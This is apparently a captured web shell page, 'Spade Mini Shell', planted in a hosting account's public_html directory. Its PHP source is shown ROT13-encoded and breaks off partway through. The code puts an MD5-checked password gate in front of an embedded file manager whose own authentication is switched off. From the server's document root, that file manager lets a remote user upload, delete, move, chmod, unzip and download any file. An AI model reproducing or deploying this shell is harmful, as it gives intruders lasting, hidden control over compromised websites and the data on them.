Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/dbad/ |
| [Home] [System Details] [Kill Me] |
<?cuc
$qonq='';vs(vffrg($_CBFG['qonq'])){$qonq=$_CBFG['qonq'];frgpbbxvr("cn",$_CBFG['qonq'],ahyy,"/");}vs((vffrg($_PBBXVR['cn'])&&zq5($_PBBXVR['cn'])=='po56o83p8q55r8pq3r5rqr654q57o5nr')||zq5($qonq)=='po56o83p8q55r8pq3r5rqr654q57o5nr'){}ryfr{qvr('<ugzy><urnq></urnq><obql><sbez
npgvba="" zrgubq="cbfg"><vachg
glcr="cnffjbeq" anzr="qonq"
inyhr=""><vachg glcr="fhozvg"
anzr="fhozvg"
inyhr="fhozvg"></sbez></obql></ugzy>');}?><!--bx--><?cuc
/**
* CUC Svyr Znantre (2017-08-07)
* uggcf://tvguho.pbz/nyrknage/svyrznantre
*/
// Nhgu jvgu ybtva/cnffjbeq (frg gehr/snyfr gb ranoyr/qvfnoyr vg)
$hfr_nhgu = snyfr;
// Hfref: neenl('Hfreanzr' => 'Cnffjbeq',
'Hfreanzr2' => 'Cnffjbeq2', ...)
$nhgu_hfref = neenl(
'nfq' => 'nfq',
);
// Ranoyr uvtuyvtug.wf (uggcf://uvtuyvtugwf.bet/) ba ivrj'f cntr
$hfr_uvtuyvtugwf = gehr;
// uvtuyvtug.wf fglyr
$uvtuyvtugwf_fglyr = 'if';
// Qrsnhyg gvzrmbar sbe qngr() naq gvzr() -
uggc://cuc.arg/znahny/ra/gvzrmbarf.cuc
$qrsnhyg_gvzrmbar = 'Rhebcr/Zvafx'; // HGP+3
// Ebbg cngu sbe svyr znantre
$ebbg_cngu = $_FREIRE['QBPHZRAG_EBBG'];
// Ebbg hey sbe yvaxf va svyr znantre.Eryngvir gb $uggc_ubfg. Inevnagf:
'', 'cngu/gb/fhosbyqre'
// Jvyy abg jbexvat vs $ebbg_cngu jvyy or bhgfvqr bs freire qbphzrag ebbg
$ebbg_hey = '';
// Freire ubfganzr. Pna frg znahnyyl vs jebat
$uggc_ubfg = $_FREIRE['UGGC_UBFG'];
// vachg rapbqvat sbe vpbai
$vpbai_vachg_rapbqvat = 'PC1251';
// qngr() sbezng sbe svyr zbqvsvpngvba qngr
$qngrgvzr_sbezng = 'q.z.l U:v';
//--- RQVG ORYBJ PNERSHYYL BE QB ABG RQVG NG NYY
// vs sz vapyhqrq
vs (qrsvarq('SZ_RZORQ')) {
$hfr_nhgu = snyfr;
} ryfr {
@frg_gvzr_yvzvg(600);
qngr_qrsnhyg_gvzrmbar_frg($qrsnhyg_gvzrmbar);
vav_frg('qrsnhyg_punefrg', 'HGS-8');
vs (irefvba_pbzcner(CUC_IREFVBA, '5.6.0', '<')
&& shapgvba_rkvfgf('zo_vagreany_rapbqvat')) {
zo_vagreany_rapbqvat('HGS-8');
}
vs (shapgvba_rkvfgf('zo_ertrk_rapbqvat')) {
zo_ertrk_rapbqvat('HGS-8');
}
frffvba_pnpur_yvzvgre('');
frffvba_anzr('svyrznantre');
frffvba_fgneg();
}
vs (rzcgl($nhgu_hfref)) {
$hfr_nhgu = snyfr;
}
$vf_uggcf = vffrg($_FREIRE['UGGCF']) &&
($_FREIRE['UGGCF'] == 'ba' ||
$_FREIRE['UGGCF'] == 1)
|| vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) &&
$_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf';
// pyrna naq purpx $ebbg_cngu
$ebbg_cngu = egevz($ebbg_cngu, '\\/');
$ebbg_cngu = fge_ercynpr('\\', '/', $ebbg_cngu);
vs (!@vf_qve($ebbg_cngu)) {
rpub fcevags('<u1>Ebbg cngu "%f" abg
sbhaq!</u1>', sz_rap($ebbg_cngu));
rkvg;
}
// pyrna $ebbg_hey
$ebbg_hey = sz_pyrna_cngu($ebbg_hey);
// nof cngu sbe fvgr
qrsvarq('SZ_EBBG_CNGU') || qrsvar('SZ_EBBG_CNGU',
$ebbg_cngu);
qrsvarq('SZ_EBBG_HEY') || qrsvar('SZ_EBBG_HEY',
($vf_uggcf ? 'uggcf' : 'uggc') . '://' .
$uggc_ubfg . (!rzcgl($ebbg_hey) ? '/' . $ebbg_hey :
''));
qrsvarq('SZ_FRYS_HEY') || qrsvar('SZ_FRYS_HEY',
($vf_uggcf ? 'uggcf' : 'uggc') . '://' .
$uggc_ubfg . $_FREIRE['CUC_FRYS']);
// ybtbhg
vs (vffrg($_TRG['ybtbhg'])) {
hafrg($_FRFFVBA['ybttrq']);
sz_erqverpg(SZ_FRYS_HEY);
}
// Fubj vzntr urer
vs (vffrg($_TRG['vzt'])) {
sz_fubj_vzntr($_TRG['vzt']);
}
// Nhgu
vs ($hfr_nhgu) {
vs (vffrg($_FRFFVBA['ybttrq'],
$nhgu_hfref[$_FRFFVBA['ybttrq']])) {
// Ybttrq
} ryfrvs (vffrg($_CBFG['sz_hfe'],
$_CBFG['sz_cjq'])) {
// Ybttvat Va
fyrrc(1);
vs (vffrg($nhgu_hfref[$_CBFG['sz_hfe']]) &&
$_CBFG['sz_cjq'] === $nhgu_hfref[$_CBFG['sz_hfe']]) {
$_FRFFVBA['ybttrq'] = $_CBFG['sz_hfe'];
sz_frg_zft('Lbh ner ybttrq va');
sz_erqverpg(SZ_FRYS_HEY . '?c=');
} ryfr {
hafrg($_FRFFVBA['ybttrq']);
sz_frg_zft('Jebat cnffjbeq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY);
}
} ryfr {
// Sbez
hafrg($_FRFFVBA['ybttrq']);
sz_fubj_urnqre();
sz_fubj_zrffntr();
?>
<qvi pynff="cngu">
<sbez npgvba="" zrgubq="cbfg"
fglyr="znetva:10ck;grkg-nyvta:pragre">
<vachg anzr="sz_hfe" inyhr=""
cynprubyqre="Hfreanzr" erdhverq>
<vachg glcr="cnffjbeq" anzr="sz_cjq"
inyhr="" cynprubyqre="Cnffjbeq" erdhverq>
<vachg glcr="fhozvg"
inyhr="Ybtva">
</sbez>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
}
qrsvar('SZ_VF_JVA', QVERPGBEL_FRCNENGBE == '\\');
// nyjnlf hfr ?c=
vs (!vffrg($_TRG['c'])) {
sz_erqverpg(SZ_FRYS_HEY . '?c=');
}
// trg cngu
$c = vffrg($_TRG['c']) ? $_TRG['c'] :
(vffrg($_CBFG['c']) ? $_CBFG['c'] : '');
// pyrna cngu
$c = sz_pyrna_cngu($c);
// vafgrnq tybonyf inef
qrsvar('SZ_CNGU', $c);
qrsvar('SZ_HFR_NHGU', $hfr_nhgu);
qrsvarq('SZ_VPBAI_VACHG_RAP') ||
qrsvar('SZ_VPBAI_VACHG_RAP', $vpbai_vachg_rapbqvat);
qrsvarq('SZ_HFR_UVTUYVTUGWF') ||
qrsvar('SZ_HFR_UVTUYVTUGWF', $hfr_uvtuyvtugwf);
qrsvarq('SZ_UVTUYVTUGWF_FGLYR') ||
qrsvar('SZ_UVTUYVTUGWF_FGLYR', $uvtuyvtugwf_fglyr);
qrsvarq('SZ_QNGRGVZR_SBEZNG') ||
qrsvar('SZ_QNGRGVZR_SBEZNG', $qngrgvzr_sbezng);
hafrg($c, $hfr_nhgu, $vpbai_vachg_rapbqvat, $hfr_uvtuyvtugwf,
$uvtuyvtugwf_fglyr);
/*************************** NPGVBAF ***************************/
// Qryrgr svyr / sbyqre
vs (vffrg($_TRG['qry'])) {
$qry = $_TRG['qry'];
$qry = sz_pyrna_cngu($qry);
$qry = fge_ercynpr('/', '', $qry);
vs ($qry != '' && $qry != '..' &&
$qry != '.') {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
$vf_qve = vf_qve($cngu . '/' . $qry);
vs (sz_eqryrgr($cngu . '/' . $qry)) {
$zft = $vf_qve ? 'Sbyqre <o>%f</o>
qryrgrq' : 'Svyr <o>%f</o> qryrgrq';
sz_frg_zft(fcevags($zft, sz_rap($qry)));
} ryfr {
$zft = $vf_qve ? 'Sbyqre <o>%f</o> abg
qryrgrq' : 'Svyr <o>%f</o> abg qryrgrq';
sz_frg_zft(fcevags($zft, sz_rap($qry)), 'reebe');
}
} ryfr {
sz_frg_zft('Jebat svyr be sbyqre anzr',
'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Perngr sbyqre
vs (vffrg($_TRG['arj'])) {
$arj = fgevc_gntf($_TRG['arj']); // erzbir hajnagrq
punenpgref sebz sbyqre anzr
$arj = sz_pyrna_cngu($arj);
$arj = fge_ercynpr('/', '', $arj);
vs ($arj != '' && $arj != '..' &&
$arj != '.') {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
vs (sz_zxqve($cngu . '/' . $arj, snyfr) === gehr) {
sz_frg_zft(fcevags('Sbyqre <o>%f</o>
perngrq', sz_rap($arj)));
} ryfrvs (sz_zxqve($cngu . '/' . $arj, snyfr) === $cngu .
'/' . $arj) {
sz_frg_zft(fcevags('Sbyqre <o>%f</o> nyernql
rkvfgf', sz_rap($arj)), 'nyreg');
} ryfr {
sz_frg_zft(fcevags('Sbyqre <o>%f</o> abg
perngrq', sz_rap($arj)), 'reebe');
}
} ryfr {
sz_frg_zft('Jebat sbyqre anzr', 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Pbcl sbyqre / svyr
vs (vffrg($_TRG['pbcl'], $_TRG['svavfu'])) {
// sebz
$pbcl = $_TRG['pbcl'];
$pbcl = sz_pyrna_cngu($pbcl);
// rzcgl cngu
vs ($pbcl == '') {
sz_frg_zft('Fbhepr cngu abg qrsvarq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// nof cngu sebz
$sebz = SZ_EBBG_CNGU . '/' . $pbcl;
// nof cngu gb
$qrfg = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$qrfg .= '/' . SZ_CNGU;
}
$qrfg .= '/' . onfranzr($sebz);
// zbir?
$zbir = vffrg($_TRG['zbir']);
// pbcl/zbir
vs ($sebz != $qrfg) {
$zft_sebz = gevz(SZ_CNGU . '/' . onfranzr($sebz),
'/');
vs ($zbir) {
$eranzr = sz_eranzr($sebz, $qrfg);
vs ($eranzr) {
sz_frg_zft(fcevags('Zbirq sebz <o>%f</o>
gb <o>%f</o>', sz_rap($pbcl), sz_rap($zft_sebz)));
} ryfrvs ($eranzr === ahyy) {
sz_frg_zft('Svyr be sbyqre jvgu guvf cngu nyernql
rkvfgf', 'nyreg');
} ryfr {
sz_frg_zft(fcevags('Reebe juvyr zbivat sebz
<o>%f</o> gb <o>%f</o>', sz_rap($pbcl),
sz_rap($zft_sebz)), 'reebe');
}
} ryfr {
vs (sz_epbcl($sebz, $qrfg)) {
sz_frg_zft(fcevags('Pbclvrq sebz <o>%f</o>
gb <o>%f</o>', sz_rap($pbcl), sz_rap($zft_sebz)));
} ryfr {
sz_frg_zft(fcevags('Reebe juvyr pbclvat sebz
<o>%f</o> gb <o>%f</o>', sz_rap($pbcl),
sz_rap($zft_sebz)), 'reebe');
}
}
} ryfr {
sz_frg_zft('Cnguf zhfg or abg rdhny', 'nyreg');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Znff pbcl svyrf/ sbyqref
vs (vffrg($_CBFG['svyr'], $_CBFG['pbcl_gb'],
$_CBFG['svavfu'])) {
// sebz
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
// gb
$pbcl_gb_cngu = SZ_EBBG_CNGU;
$pbcl_gb = sz_pyrna_cngu($_CBFG['pbcl_gb']);
vs ($pbcl_gb != '') {
$pbcl_gb_cngu .= '/' . $pbcl_gb;
}
vs ($cngu == $pbcl_gb_cngu) {
sz_frg_zft('Cnguf zhfg or abg rdhny', 'nyreg');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
vs (!vf_qve($pbcl_gb_cngu)) {
vs (!sz_zxqve($pbcl_gb_cngu, gehr)) {
sz_frg_zft('Hanoyr gb perngr qrfgvangvba sbyqre',
'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' .
heyrapbqr(SZ_CNGU));
}
}
// zbir?
$zbir = vffrg($_CBFG['zbir']);
// pbcl/zbir
$reebef = 0;
$svyrf = $_CBFG['svyr'];
vs (vf_neenl($svyrf) && pbhag($svyrf)) {
sbernpu ($svyrf nf $s) {
vs ($s != '') {
// nof cngu sebz
$sebz = $cngu . '/' . $s;
// nof cngu gb
$qrfg = $pbcl_gb_cngu . '/' . $s;
// qb
vs ($zbir) {
$eranzr = sz_eranzr($sebz, $qrfg);
vs ($eranzr === snyfr) {
$reebef++;
}
} ryfr {
vs (!sz_epbcl($sebz, $qrfg)) {
$reebef++;
}
}
}
}
vs ($reebef == 0) {
$zft = $zbir ? 'Fryrpgrq svyrf naq sbyqref zbirq' :
'Fryrpgrq svyrf naq sbyqref pbcvrq';
sz_frg_zft($zft);
} ryfr {
$zft = $zbir ? 'Reebe juvyr zbivat vgrzf' :
'Reebe juvyr pbclvat vgrzf';
sz_frg_zft($zft, 'reebe');
}
} ryfr {
sz_frg_zft('Abguvat fryrpgrq', 'nyreg');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Eranzr
vs (vffrg($_TRG['era'], $_TRG['gb'])) {
// byq anzr
$byq = $_TRG['era'];
$byq = sz_pyrna_cngu($byq);
$byq = fge_ercynpr('/', '', $byq);
// arj anzr
$arj = $_TRG['gb'];
$arj = sz_pyrna_cngu($arj);
$arj = fge_ercynpr('/', '', $arj);
// cngu
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
// eranzr
vs ($byq != '' && $arj != '') {
vs (sz_eranzr($cngu . '/' . $byq, $cngu . '/' .
$arj)) {
sz_frg_zft(fcevags('Eranzrq sebz <o>%f</o> gb
<o>%f</o>', sz_rap($byq), sz_rap($arj)));
} ryfr {
sz_frg_zft(fcevags('Reebe juvyr eranzvat sebz
<o>%f</o> gb <o>%f</o>', sz_rap($byq),
sz_rap($arj)), 'reebe');
}
} ryfr {
sz_frg_zft('Anzrf abg frg', 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Qbjaybnq
vs (vffrg($_TRG['qy'])) {
$qy = $_TRG['qy'];
$qy = sz_pyrna_cngu($qy);
$qy = fge_ercynpr('/', '', $qy);
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
vs ($qy != '' && vf_svyr($cngu . '/' .
$qy)) {
urnqre('Pbagrag-Qrfpevcgvba: Svyr Genafsre');
urnqre('Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz');
urnqre('Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr="'
. onfranzr($cngu . '/' . $qy) . '"');
urnqre('Pbagrag-Genafsre-Rapbqvat: ovanel');
urnqre('Pbaarpgvba: Xrrc-Nyvir');
urnqre('Rkcverf: 0');
urnqre('Pnpur-Pbageby: zhfg-erinyvqngr, cbfg-purpx=0,
cer-purpx=0');
urnqre('Centzn: choyvp');
urnqre('Pbagrag-Yratgu: ' . svyrfvmr($cngu .
'/' . $qy));
ernqsvyr($cngu . '/' . $qy);
rkvg;
} ryfr {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
}
// Hcybnq
vs (vffrg($_CBFG['hcy'])) {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
$reebef = 0;
$hcybnqf = 0;
$gbgny = pbhag($_SVYRF['hcybnq']['anzr']);
sbe ($v = 0; $v < $gbgny; $v++) {
$gzc_anzr = $_SVYRF['hcybnq']['gzc_anzr'][$v];
vs (rzcgl($_SVYRF['hcybnq']['reebe'][$v])
&& !rzcgl($gzc_anzr) && $gzc_anzr != 'abar') {
vs (zbir_hcybnqrq_svyr($gzc_anzr, $cngu . '/' .
$_SVYRF['hcybnq']['anzr'][$v])) {
$hcybnqf++;
} ryfr {
$reebef++;
}
}
}
vs ($reebef == 0 && $hcybnqf > 0) {
sz_frg_zft(fcevags('Nyy svyrf hcybnqrq gb
<o>%f</o>', sz_rap($cngu)));
} ryfrvs ($reebef == 0 && $hcybnqf == 0) {
sz_frg_zft('Abguvat hcybnqrq', 'nyreg');
} ryfr {
sz_frg_zft(fcevags('Reebe juvyr hcybnqvat svyrf. Hcybnqrq
svyrf: %f', $hcybnqf), 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Znff qryrgvat
vs (vffrg($_CBFG['tebhc'], $_CBFG['qryrgr'])) {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
$reebef = 0;
$svyrf = $_CBFG['svyr'];
vs (vf_neenl($svyrf) && pbhag($svyrf)) {
sbernpu ($svyrf nf $s) {
vs ($s != '') {
$arj_cngu = $cngu . '/' . $s;
vs (!sz_eqryrgr($arj_cngu)) {
$reebef++;
}
}
}
vs ($reebef == 0) {
sz_frg_zft('Fryrpgrq svyrf naq sbyqre qryrgrq');
} ryfr {
sz_frg_zft('Reebe juvyr qryrgvat vgrzf',
'reebe');
}
} ryfr {
sz_frg_zft('Abguvat fryrpgrq', 'nyreg');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Cnpx svyrf
vs (vffrg($_CBFG['tebhc'], $_CBFG['mvc'])) {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
vs (!pynff_rkvfgf('MvcNepuvir')) {
sz_frg_zft('Bcrengvbaf jvgu nepuvirf ner abg ninvynoyr',
'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
$svyrf = $_CBFG['svyr'];
vs (!rzcgl($svyrf)) {
puqve($cngu);
vs (pbhag($svyrf) == 1) {
$bar_svyr = erfrg($svyrf);
$bar_svyr = onfranzr($bar_svyr);
$mvcanzr = $bar_svyr . '_' .
qngr('lzq_Uvf') . '.mvc';
} ryfr {
$mvcanzr = 'nepuvir_' . qngr('lzq_Uvf') .
'.mvc';
}
$mvccre = arj SZ_Mvccre();
$erf = $mvccre->perngr($mvcanzr, $svyrf);
vs ($erf) {
sz_frg_zft(fcevags('Nepuvir <o>%f</o>
perngrq', sz_rap($mvcanzr)));
} ryfr {
sz_frg_zft('Nepuvir abg perngrq', 'reebe');
}
} ryfr {
sz_frg_zft('Abguvat fryrpgrq', 'nyreg');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Hacnpx
vs (vffrg($_TRG['hamvc'])) {
$hamvc = $_TRG['hamvc'];
$hamvc = sz_pyrna_cngu($hamvc);
$hamvc = fge_ercynpr('/', '', $hamvc);
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
vs (!pynff_rkvfgf('MvcNepuvir')) {
sz_frg_zft('Bcrengvbaf jvgu nepuvirf ner abg ninvynoyr',
'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
vs ($hamvc != '' && vf_svyr($cngu . '/' .
$hamvc)) {
$mvc_cngu = $cngu . '/' . $hamvc;
//gb sbyqre
$gbsbyqre = '';
vs (vffrg($_TRG['gbsbyqre'])) {
$gbsbyqre = cnguvasb($mvc_cngu, CNGUVASB_SVYRANZR);
vs (sz_zxqve($cngu . '/' . $gbsbyqre, gehr)) {
$cngu .= '/' . $gbsbyqre;
}
}
$mvccre = arj SZ_Mvccre();
$erf = $mvccre->hamvc($mvc_cngu, $cngu);
vs ($erf) {
sz_frg_zft('Nepuvir hacnpxrq');
} ryfr {
sz_frg_zft('Nepuvir abg hacnpxrq',
'reebe');
}
} ryfr {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Punatr Crezf (abg sbe Jvaqbjf)
vs (vffrg($_CBFG['puzbq']) && !SZ_VF_JVA) {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
$svyr = $_CBFG['puzbq'];
$svyr = sz_pyrna_cngu($svyr);
$svyr = fge_ercynpr('/', '', $svyr);
vs ($svyr == '' || (!vf_svyr($cngu . '/' . $svyr)
&& !vf_qve($cngu . '/' . $svyr))) {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
$zbqr = 0;
vs (!rzcgl($_CBFG['he'])) {
$zbqr |= 0400;
}
vs (!rzcgl($_CBFG['hj'])) {
$zbqr |= 0200;
}
vs (!rzcgl($_CBFG['hk'])) {
$zbqr |= 0100;
}
vs (!rzcgl($_CBFG['te'])) {
$zbqr |= 0040;
}
vs (!rzcgl($_CBFG['tj'])) {
$zbqr |= 0020;
}
vs (!rzcgl($_CBFG['tk'])) {
$zbqr |= 0010;
}
vs (!rzcgl($_CBFG['be'])) {
$zbqr |= 0004;
}
vs (!rzcgl($_CBFG['bj'])) {
$zbqr |= 0002;
}
vs (!rzcgl($_CBFG['bk'])) {
$zbqr |= 0001;
}
vs (@puzbq($cngu . '/' . $svyr, $zbqr)) {
sz_frg_zft('Crezvffvbaf punatrq');
} ryfr {
sz_frg_zft('Crezvffvbaf abg punatrq', 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
/*************************** /NPGVBAF ***************************/
// trg pheerag cngu
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
// purpx cngu
vs (!vf_qve($cngu)) {
sz_erqverpg(SZ_FRYS_HEY . '?c=');
}
// trg cnerag sbyqre
$cnerag = sz_trg_cnerag_cngu(SZ_CNGU);
$bowrpgf = vf_ernqnoyr($cngu) ? fpnaqve($cngu) : neenl();
$sbyqref = neenl();
$svyrf = neenl();
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr == '.' || $svyr == '..') {
pbagvahr;
}
$arj_cngu = $cngu . '/' . $svyr;
vs (vf_svyr($arj_cngu)) {
$svyrf[] = $svyr;
} ryfrvs (vf_qve($arj_cngu) && $svyr != '.'
&& $svyr != '..') {
$sbyqref[] = $svyr;
}
}
}
vs (!rzcgl($svyrf)) {
angpnfrfbeg($svyrf);
}
vs (!rzcgl($sbyqref)) {
angpnfrfbeg($sbyqref);
}
// hcybnq sbez
vs (vffrg($_TRG['hcybnq'])) {
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
?>
<qvi pynff="cngu">
<c><o>Hcybnqvat svyrf</o></c>
<c pynff="oernx-jbeq">Qrfgvangvba sbyqre: <?cuc
rpub sz_rap(sz_pbaireg_jva(SZ_EBBG_CNGU . '/' . SZ_CNGU))
?></c>
<sbez npgvba="" zrgubq="cbfg"
rapglcr="zhygvcneg/sbez-qngn">
<vachg glcr="uvqqra" anzr="c"
inyhr="<?cuc rpub sz_rap(SZ_CNGU) ?>">
<vachg glcr="uvqqra" anzr="hcy"
inyhr="1">
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<oe>
<c>
<ohggba pynff="oga"><v
pynff="vpba-nccyl"></v> Hcybnq</ohggba> &aofc;
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>"><v
pynff="vpba-pnapry"></v> Pnapry</n></o>
</c>
</sbez>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
// pbcl sbez CBFG
vs (vffrg($_CBFG['pbcl'])) {
$pbcl_svyrf = $_CBFG['svyr'];
vs (!vf_neenl($pbcl_svyrf) || rzcgl($pbcl_svyrf)) {
sz_frg_zft('Abguvat fryrpgrq', 'nyreg');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
?>
<qvi pynff="cngu">
<c><o>Pbclvat</o></c>
<sbez npgvba="" zrgubq="cbfg">
<vachg glcr="uvqqra" anzr="c"
inyhr="<?cuc rpub sz_rap(SZ_CNGU) ?>">
<vachg glcr="uvqqra" anzr="svavfu"
inyhr="1">
<?cuc
sbernpu ($pbcl_svyrf nf $ps) {
rpub '<vachg glcr="uvqqra"
anzr="svyr[]" inyhr="' . sz_rap($ps) .
'">' . CUC_RBY;
}
$pbcl_svyrf_rap = neenl_znc('sz_rap', $pbcl_svyrf);
?>
<c pynff="oernx-jbeq">Svyrf: <o><?cuc
rpub vzcybqr('</o>, <o>', $pbcl_svyrf_rap)
?></o></c>
<c pynff="oernx-jbeq">Fbhepr sbyqre: <?cuc
rpub sz_rap(sz_pbaireg_jva(SZ_EBBG_CNGU . '/' . SZ_CNGU))
?><oe>
<ynory sbe="vac_pbcl_gb">Qrfgvangvba
sbyqre:</ynory>
<?cuc rpub SZ_EBBG_CNGU ?>/<vachg
anzr="pbcl_gb" vq="vac_pbcl_gb" inyhr="<?cuc
rpub sz_rap(SZ_CNGU) ?>">
</c>
<c><ynory><vachg glcr="purpxobk"
anzr="zbir" inyhr="1"> Zbir</ynory></c>
<c>
<ohggba pynff="oga"><v
pynff="vpba-nccyl"></v> Pbcl</ohggba> &aofc;
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>"><v
pynff="vpba-pnapry"></v> Pnapry</n></o>
</c>
</sbez>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
// pbcl sbez
vs (vffrg($_TRG['pbcl']) &&
!vffrg($_TRG['svavfu'])) {
$pbcl = $_TRG['pbcl'];
$pbcl = sz_pyrna_cngu($pbcl);
vs ($pbcl == '' || !svyr_rkvfgf(SZ_EBBG_CNGU . '/'
. $pbcl)) {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
?>
<qvi pynff="cngu">
<c><o>Pbclvat</o></c>
<c pynff="oernx-jbeq">
Fbhepr cngu: <?cuc rpub sz_rap(sz_pbaireg_jva(SZ_EBBG_CNGU .
'/' . $pbcl)) ?><oe>
Qrfgvangvba sbyqre: <?cuc rpub
sz_rap(sz_pbaireg_jva(SZ_EBBG_CNGU . '/' . SZ_CNGU)) ?>
</c>
<c>
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>&nzc;pbcl=<?cuc rpub heyrapbqr($pbcl)
?>&nzc;svavfu=1"><v
pynff="vpba-nccyl"></v> Pbcl</n></o>
&aofc;
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>&nzc;pbcl=<?cuc rpub heyrapbqr($pbcl)
?>&nzc;svavfu=1&nzc;zbir=1"><v
pynff="vpba-nccyl"></v> Zbir</n></o>
&aofc;
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>"><v pynff="vpba-pnapry"></v>
Pnapry</n></o>
</c>
<c><v>Fryrpg sbyqre:</v></c>
<hy pynff="sbyqref oernx-jbeq">
<?cuc
vs ($cnerag !== snyfr) {
?>
<yv><n uers="?c=<?cuc rpub
heyrapbqr($cnerag) ?>&nzc;pbcl=<?cuc rpub heyrapbqr($pbcl)
?>"><v pynff="vpba-neebj_hc"></v>
..</n></yv>
<?cuc
}
sbernpu ($sbyqref nf $s) {
?>
<yv><n uers="?c=<?cuc rpub
heyrapbqr(gevz(SZ_CNGU . '/' . $s, '/'))
?>&nzc;pbcl=<?cuc rpub heyrapbqr($pbcl) ?>"><v
pynff="vpba-sbyqre"></v> <?cuc rpub
sz_rap(sz_pbaireg_jva($s)) ?></n></yv>
<?cuc
}
?>
</hy>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
// svyr ivrjre
vs (vffrg($_TRG['ivrj'])) {
$svyr = $_TRG['ivrj'];
$svyr = sz_pyrna_cngu($svyr);
$svyr = fge_ercynpr('/', '', $svyr);
vs ($svyr == '' || !vf_svyr($cngu . '/' . $svyr)) {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
$svyr_hey = SZ_EBBG_HEY . sz_pbaireg_jva((SZ_CNGU != '' ?
'/' . SZ_CNGU : '') . '/' . $svyr);
$svyr_cngu = $cngu . '/' . $svyr;
$rkg = fgegbybjre(cnguvasb($svyr_cngu, CNGUVASB_RKGRAFVBA));
$zvzr_glcr = sz_trg_zvzr_glcr($svyr_cngu);
